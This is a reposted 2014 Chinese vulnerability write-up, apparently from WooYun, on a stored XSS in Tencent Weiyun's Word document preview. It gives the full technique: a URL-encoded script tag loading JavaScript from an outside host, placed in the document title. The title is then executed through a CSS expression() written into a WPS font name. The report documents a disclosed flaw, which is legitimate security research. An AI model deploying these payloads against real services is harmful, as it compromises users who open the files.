记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

腾讯微云存储型xss漏洞

2014-05-08 19:05

知道腾讯微云是在qq群里图片预览。

1.png



登陆网页版http://www.weiyun.com/disk/index.html

发现能上传word,用的是http://www.yozosoft.com/office/fileconvert.jsp的office预览功能,本次重点测试该预览的过滤效果。

word的内容为xss代码直接被编码,于是测试字体功能

2.png



字体的名字有31字节限制,这个就是利用style 的expression。

发现预览会自动把前170字节的内容作为title,这样把内容设为

unescape("%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%74%6D%78%6B%2E%6F%72%67%2F%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E")

字体设为

expression(eval(document.title)) //32字节,长度不满足

expression(eval($('title')) // 长度满足,但单引号、双引号被过滤,还是不行

就可以xss了。但利用就在弹框框阶段。

为了利用最大化,我想到了抓包和wps。

我试了wps。wps重写了字体对话框,其复杂文中字体长度则不受限制。

3.png



于是写一个文档,内容为

%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%74%6D%78%6B%2E%6F%72%67%2F%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E



复杂文中字体设为

expression(document.write(unescape(document.title)))



上传,在ie等的环境下,测试成功。



4.png

漏洞证明:

4.png

修复方案:

你懂的

知识来源: www.wooyun.org/bugs/wooyun-2014-054458

阅读:80297 | 评论:0 | 标签:xss 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“腾讯微云存储型xss漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云